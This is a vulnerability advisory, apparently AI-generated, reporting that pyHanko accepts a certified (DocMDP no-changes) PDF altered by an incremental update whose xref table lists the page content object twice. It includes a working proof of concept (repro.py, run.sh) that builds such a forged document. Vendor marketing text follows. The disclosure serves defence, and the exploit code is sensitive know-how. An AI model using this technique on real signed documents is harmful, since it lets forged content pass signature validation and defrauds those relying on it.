
Cloud Vulnerability DB
A community-led vulnerabilities database
This report was AI-generated. An AI agent found this bug, reproduced it with pyHanko 0.38.0 and with master at commit 40839b7, and drafted the report. A second agent tried to refute it, reproduced it independently, and searched upstream for duplicates. Before sending, a third agent re-ran the reproducer on 0.38.0 and on master 40839b7 with the same result, and checked which content other PDF readers (pdftotext, MuPDF, pypdf) display. The methodology is described here: https://reports.robben.io/methodology/
Problem: anyone can append an incremental update to a certified (DocMDP P=1) document whose xref table lists the page content object twice: first a new stream with changed text, then the signed stream again. pyHanko keeps the last entry, so it diffs the unchanged stream and reports the document as intact with only permitted changes (docmdp_ok=True). Other readers (pdftotext, MuPDF, pypdf) use the first entry and show the changed text. No key is needed. With the entries in the other order, or with a single changed entry, pyHanko correctly reports docmdp_ok=False.
ISO 32000-1 §7.5.4: "A given object number shall not have an entry in more than one subsection within a single section." Table 254, P=1: "any change to the document shall invalidate the signature." Strict mode should reject such a section, or at least diff the entry readers display.
Affected: pyHanko 0.38.0 (pyhanko-cli 0.6.0) and master 40839b7 (2026-10-26). Default configuration (strict reader, default diff policy).
Cause: pdf_utils/xref.py, XRefSectionData.process_entries stores self.standard_xrefs[idnum] = (generation, offset), so the last entry wins. parse_xref_table has no duplicate check, unlike the /Index overlap assert in parse_xref_stream.
Reproducer: repro.py certifies a one-page document ("text A", P=1) with pyHanko and appends three updates: duplicate entry with the changed stream first (accepted, wrong), the reverse order and a single changed entry (both rejected, correct). run.sh exits 1 when the bug is present.
dup4-changed-first.pdf: pyhanko resolves 4 0 R to 'text A'; intact=True valid=True modification_level=LTA_UPDATES docmdp_ok=True
dup4-same-first.pdf: pyhanko resolves 4 0 R to 'text B'; intact=True valid=True modification_level=OTHER docmdp_ok=False
single-changed.pdf: pyhanko resolves 4 0 R to 'text B'; intact=True valid=True modification_level=OTHER docmdp_ok=False
pdftotext dup4-changed-first.pdf: text B<details><summary><code>run.sh</code></summary>
#!/bin/bash
# Exit 1: bug present, 0: pyHanko rejects or flags dup4-changed-first.pdf, 2: tool not found / error.
# PYTHON must have pyHanko installed (pip install pyHanko). PDFTOTEXT (poppler) is optional and
# only shows which content a common reader displays.
PYTHON=${PYTHON:-python3}; PDFTOTEXT=${PDFTOTEXT:-pdftotext}
HERE="$(cd "$(dirname "$0")" && pwd)"
"$PYTHON" -c 'import pyhanko.sign' 2>/dev/null || { echo "tool not found: pyHanko for $PYTHON"; exit 2; }
W="$(mktemp -d)"; trap 'rm -rf "$W"' EXIT
out="$("$PYTHON" "$HERE/repro.py" "$W" 2>/dev/null)" || { echo "error running repro.py"; exit 2; }
echo "$out"
if command -v "$PDFTOTEXT" >/dev/null; then
for f in signed dup4-changed-first dup4-same-first single-changed; do
echo "$PDFTOTEXT $f.pdf: $("$PDFTOTEXT" "$W/$f.pdf" - 2>/dev/null | tr -s '\n' ' ')"
done
fi
line() { echo "$out" | grep "^$1:"; }
flagged() { line "$1" | grep -qE 'REJECTED|docmdp_ok=False'; }
line signed.pdf | grep -q 'modification_level=NONE docmdp_ok=True' || { echo "unexpected: signed.pdf not valid"; exit 2; }
ok=1
flagged single-changed.pdf || { echo "FAIL control: single-changed.pdf not flagged"; ok=0; }
flagged dup4-same-first.pdf || { echo "FAIL control: dup4-same-first.pdf not flagged"; ok=0; }
flagged dup4-changed-first.pdf || { echo "BUG: dup4-changed-first.pdf accepted under DocMDP P=1"; exit 1; }
[ $ok = 1 ] || exit 1
echo "OK: every update of the P=1 document is rejected or flagged"; exit 0</details> <details><summary><code>repro.py</code></summary>
"""pyHanko: an incremental xref table that lists object 4 twice in one section.
python3 repro.py OUTDIR
Writes signed.pdf (one page "text A", certified with DocMDP P=1 using a throwaway
self-signed key generated here) and three incremental updates of it:
dup4-changed-first.pdf section "4 1" -> new stream "text B", then "4 1" -> identical copy of
the signed stream (the case under test)
dup4-same-first.pdf the same two entries in the opposite order (control)
single-changed.pdf one "4 1" entry -> new stream "text B" (control)
For each file it prints which stream pyHanko resolves 4 0 R to and the result of
validate_pdf_signature (strict reader, default diff policy). A strict-mode parse error is printed
as REJECTED.
"""
import datetime, io, os, sys
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import NameOID
from asn1crypto import keys as asn1_keys, x509 as asn1_x509
from pyhanko.pdf_utils.incremental_writer import IncrementalPdfFileWriter
from pyhanko.pdf_utils.reader import PdfFileReader
from pyhanko.pdf_utils.misc import PdfReadError
from pyhanko.sign import signers, fields
from pyhanko.sign.validation import validate_pdf_signature
from pyhanko_certvalidator import ValidationContext
OUT = sys.argv[1]
A = "BT /F1 24 Tf 50 700 Td (text A) Tj ET"
B = "BT /F1 24 Tf 50 700 Td (text B) Tj ET"
def base_pdf():
objs = {
1: "<< /Type /Catalog /Pages 2 0 R >>",
2: "<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R "
"/Resources << /Font << /F1 5 0 R >> >> >>",
4: f"<< /Length {len(A)} >>\nstream\n{A}\nendstream",
5: "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>",
}
out, offs = bytearray(b"%PDF-1.7\n"), {}
for n in sorted(objs):
offs[n] = len(out)
out += f"{n} 0 obj\n{objs[n]}\nendobj\n".encode()
xr = len(out)
out += b"xref\n0 6\n0000000000 65535 f \n"
out += b"".join(f"{offs[n]:010d} 00000 n \n".encode() for n in range(1, 6))
out += f"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n{xr}\n%%EOF\n".encode()
return bytes(out)
def make_key_and_cert():
k = ec.generate_private_key(ec.SECP256R1())
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "test signer")])
now = datetime.datetime.now(datetime.timezone.utc)
c = (x509.CertificateBuilder().subject_name(name).issuer_name(name).public_key(k.public_key())
.serial_number(1).not_valid_before(now - datetime.timedelta(days=1))
.not_valid_after(now + datetime.timedelta(days=30))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
.add_extension(x509.KeyUsage(True, True, False, False, False, False, False, False, False), critical=True)
.sign(k, hashes.SHA256()))
kder = k.private_bytes(serialization.Encoding.DER, serialization.PrivateFormat.PKCS8,
serialization.NoEncryption())
return (asn1_keys.PrivateKeyInfo.load(kder),
asn1_x509.Certificate.load(c.public_bytes(serialization.Encoding.DER)))
key, cert = make_key_and_cert()
signer = signers.SimpleSigner(signing_cert=cert, signing_key=key, cert_registry=None)
meta = signers.PdfSignatureMetadata(field_name="Sig1", certify=True,
docmdp_permissions=fields.MDPPerm.NO_CHANGES)
buf = io.BytesIO()
signers.sign_pdf(IncrementalPdfFileWriter(io.BytesIO(base_pdf())), meta, signer=signer, output=buf)
signed = buf.getvalue()
r = PdfFileReader(io.BytesIO(signed))
prev = r.xrefs.get_startxref_for_revision(r.xrefs.total_revisions - 1)
size, root = int(r.trailer["/Size"]), r.trailer.raw_get("/Root").idnum
def update(entries):
o = bytearray(signed)
off = {}
for tag, s in (("same", A), ("changed", B)):
off[tag] = len(o)
o += f"4 0 obj\n<< /Length {len(s)} >>\nstream\n{s}\nendstream\nendobj\n".encode()
xr = len(o)
o += b"xref\n0 1\n0000000000 65535 f \n"
o += b"".join(f"4 1\n{off[t]:010d} 00000 n \n".encode() for t in entries)
o += f"trailer\n<< /Size {size} /Root {root} 0 R /Prev {prev} >>\nstartxref\n{xr}\n%%EOF\n".encode()
return bytes(o)
files = {"signed.pdf": signed,
"dup4-changed-first.pdf": update(["changed", "same"]),
"dup4-same-first.pdf": update(["same", "changed"]),
"single-changed.pdf": update(["changed"])}
vc = ValidationContext(trust_roots=[cert])
for fn, data in files.items():
with open(os.path.join(OUT, fn), "wb") as f:
f.write(data)
try:
rd = PdfFileReader(io.BytesIO(data)) # strict=True is the default
content = rd.root["/Pages"]["/Kids"][0]["/Contents"].data.decode()
st = validate_pdf_signature(rd.embedded_signatures[0], vc)
print(f"{fn}: pyhanko resolves 4 0 R to '{content[24:30]}'; intact={st.intact} valid={st.valid} "
f"modification_level={st.modification_level.name} docmdp_ok={st.docmdp_ok}")
except PdfReadError as e:
print(f"{fn}: REJECTED {type(e).__name__}: {e}")</details>
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."